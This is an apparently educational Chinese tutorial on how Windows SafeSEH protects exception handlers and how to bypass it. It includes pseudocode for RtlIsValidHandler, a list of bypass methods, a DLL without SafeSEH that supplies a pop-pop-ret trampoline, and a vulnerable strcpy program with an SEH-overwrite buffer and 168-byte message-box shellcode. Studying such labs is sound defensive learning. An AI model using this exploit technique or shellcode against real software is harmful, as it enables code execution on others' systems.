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OD: SafeSEH
SafeSEH 对异常处理的保护原理
在 Windows XP sp2 以及之后的版本中，微软引入了 S.E.H 校验机制 SafeSEH。SafeSEH 需要 OS 和 Compiler 的双重支持，二者缺一都会降低保护能力。通过启用 /SafeSEH 链接选项可心使编译好的程序具备 SafeSEH 功能（VS2003 及后续版本默认启用）。该选项会将所有异常处理函数地址提取出来，编入 SEH 表中，并将这张表放到程序的映像里。异常调用时，就与这张预先存好的表中的地址进行校验。
VS 的 Visual Studio 200* Command Prompt 中，使用 dumpbin /loadconfig *.exe 命令可以查看 SEH 表：
1 Microsoft (R) COFF/PE Dumper Version 9.00.30729.01 2 Copyright (C) Microsoft Corporation. All rights reserved. 3 4 Dump of file gs.exe 5 6 File Type: EXECUTABLE IMAGE 7 8 Section contains the following load config: 9 10 00000048 size11 0 time date stamp12 0.00 Version13 0 GlobalFlags Clear14 0 GlobalFlags Set15 0 Critical Section Default Timeout16 0 Decommit Free Block Threshold17 0 Decommit Total Free Threshold18 00000000 Lock Prefix Table19 0 Maximum Allocation Size20 0 Virtual Memory Threshold21 0 Process Heap Flags22 0 Process Affinity Mask23 0 CSD Version24 0000 Reserved25 00000000 Edit list26 00403000 Security Cookie27 004021C0 Safe Exception Handler Table28 1 Safe Exception Handler Count29 30 Safe Exception Handler Table31 32 Address33 --------34 004017F5 __except_handler435 36 Summary37 38 1000 .data39 1000 .rdata40 1000 .reloc41 1000 .rsrc42 1000 .text
SafeSEH 机制从 RtlDispatchException() 开始：
1. 如果异常处理链不在当前程序的栈中，则终止异常处理调用。2. 如果异常处理函数的指针指向当前程序的栈中，则终止异常处理调用。3. 在前两项检查都通过后，调用 RtlIsValidHandler() 进行异常处理有效性检查。
Alex 在 08 年的 Black Hat 大会上披露了 RtlIsValidHandler() 的细节：
1 BOOL RtlIsValidHandler( handler ) 2 { 3 if (handler is in the loaded image) // 在加载模块的内存空间内 4 { 5 if (image has set the IMAGE_DLLCHARACTERISTICS_NO_SEH flag) 6 return FALSE; // 程序设置了忽略异常处理 7 if (image has a SafeSEH table) // 含有 SafeSEH 表说明程序启用了 SafeSEH 8 if (handler found in the table) // 异常处理函数地址在表中 9 return TRUE;10 else11 return FALSE;12 if (image is a .NET assembly with the ILonly flag set)13 return FALSE; // 包含 IL 标志的 .NET 中间语言程序14 }15 16 if (handler is on non-executable page) // 在不可执行页上17 {18 if (ExecuteDispatchEnable bit set in the process flags)19 return TRUE; // DEP 关闭20 else21 raise ACCESS_VIOLATION; // 访问违例异常22 }23 24 if (handler is not in an image) // 在可执行页上，但在加载模块之外25 {26 if (ImageDispatchEnable bit set in the process flags)27 return TRUE; // 允许加载模块内存空间外执行28 else29 return FALSE;30 }31 return TRUE; // 允许执行异常处理函数32 }
由此可见，SafeSEH 对 S.E.H 的保护已经很完善了，能有效降低通过攻击 S.E.H 异常处理函数指针而获得控制权的可能性。RtlIsValidHandler() 函数只有在以下三种情况下都会允许异常处理函数的执行：
1. 异常处理函数指针位于加载模块内存范围外，并且 DEP 关闭2. 异常处理函数指针位于加载模块内存范围内，相应模块未启用 SafeSEH 且不是纯 IL // 注意，若上述伪代码的第 13 行未执行则会执行第 31 行3. 异常处理函数指针位于加载模块内存范围内，相应模块启用 SafeSEH 且函数地址在 SEH 表中
针对以上三种可能性：
1. 若 DEP 关闭，则只要在当前模块的内存范围之外找一个跳板，就能转入 shellcode 执行
2. 第二种情况，可以在加载模块中找一个没有启用 SafeSEH 的模块，用这个未启用 SafeSEH 模块里的指令作为跳板，转入 shellcode 执行。（所以说 SafeSEH 需要 OS 与 Compiler 的双重支持）
3. 可以考虑清空 SafeSEH 表以欺骗 OS，或者将自己的函数地址注入到 SEH 表中。但因为 SEH 表的信息在内存中是加密的，破坏它很难，故放弃。
SEH 有一个缺陷：如果 SEH 中的异常函数指针指向堆区，那即使 SEH 校验发现异常处理函数不可信，仍然会调用这个不可信的异常处理函数！所以只要将 shellcode 布置在堆区就能直接跳转执行！！
另外，攻击返回地址或者虚函数也可以直接绕过 SafeSEH；
绕过 SafeSEH
方法一：覆盖函数返回地址。若攻击对象启用了 SafeSEH 但是 没有启用 GS 或者存在未受 GS 保护的函数，则可用这个方法。
方法二：攻击虚函数表来绕过 SafeSEH。
方法三：将 shellcode 部署在堆中以绕过 SafeSEH。
方法三：利用未启用 SafeSEH 的模块绕过 SafeSEH。（针对上述的 RtlIsValidHandler() 函数的第二种放行可能）
利用未启用 SafeSEH 的模块绕过 SafeSEH
思路是：在没有启用 SafeSEH 并且不是纯 IL 的模块中寻找跳板，利用跳板绕过 SafeSEH。
以下是实验构建的无 SafeSEH 保护的模块，用来做跳板用：
1 // Windows XP Sp3 & VC++6.0 2 // Project : Win32 Dynamic-Link Library ( not MFC Dll ) - Simple DLL Project 3 // Project Settings : Link - Project Option - /base:"0x111120000" ( avoid null-char when trampolining ) 4 // Compile : SEH_NOSafeSEH_JUMP.DLL 5 // 6 // SEH_NoSafeSEH_JUMP.cpp : Defines the entry point for the DLL application. 7 // 8 9 #include "stdafx.h"10 11 BOOL APIENTRY DllMain( HANDLE hModule, 12 DWORD ul_reason_for_call, 13 LPVOID lpReserved14 )15 {16 return TRUE;17 }18 19 void jump()20 {21 __asm {22 pop eax23 pop eax24 retn25 }26 }
这个实验中需要用到一个 OllyDbg 的插件：OllySSEH，下载地址：http://www.openrce.org/downloads/details/244/OllySSEH%20target=
将以上代码加入一个 VC++ 6.0 的 Simple DLL Project 中，并按要求设置好链接参数后，可以编译出适合作为跳板的关闭 SafeSEH 的 DLL 文件。将这个 DLL 放置在以下代码形成的 exe 同级目录中，就可以完成弹窗实验：
1 // safeseh.cpp : Defines the entry point for the console application. 2 // 3 // Env: Windows XP sp3 (turn off DEP in boot.ini) with VS 2008 4 // 5 #include "stdafx.h" 6 #include <string.h> 7 #include <windows.h> 8 9 char shellcode[]=10 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"11 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"12 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"13 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"14 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"15 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"16 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"17 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"18 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"19 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"20 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"21 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"22 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"23 "\x90\x90\x90\x90\x90\x90\x90\x90"24 "\xEB\x0E\x90\x90\xB6\x11\x12\x11" // SEH Pointer & Handler25 "\x90\x90\x90\x90\x90\x90\x90\x90"26 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"27 "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"28 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"29 "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"30 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"31 "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"32 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"33 "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"34 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"35 "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"36 "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" // 168 字节的弹窗 shellcode37 ;38 39 DWORD MyException(void)40 {41 printf("call MyException()");42 getchar();43 return 1;44 }45 46 void test(char * input)47 {48 char str[200];49 strcpy(str,input);50 51 int zero=0;52 __try53 {54 zero/=zero;55 }56 __except (MyException())57 {58 }59 }60 61 int main(int argc, _TCHAR* argv[])62 {63 HINSTANCE hInst = LoadLibrary(_T("SEH_NoSafeSEH_JUMP.dll"));64 printf("hInst : %d\n",hInst);65 char str[200];66 //__asm int 367 test(shellcode);68 return 0;69 }
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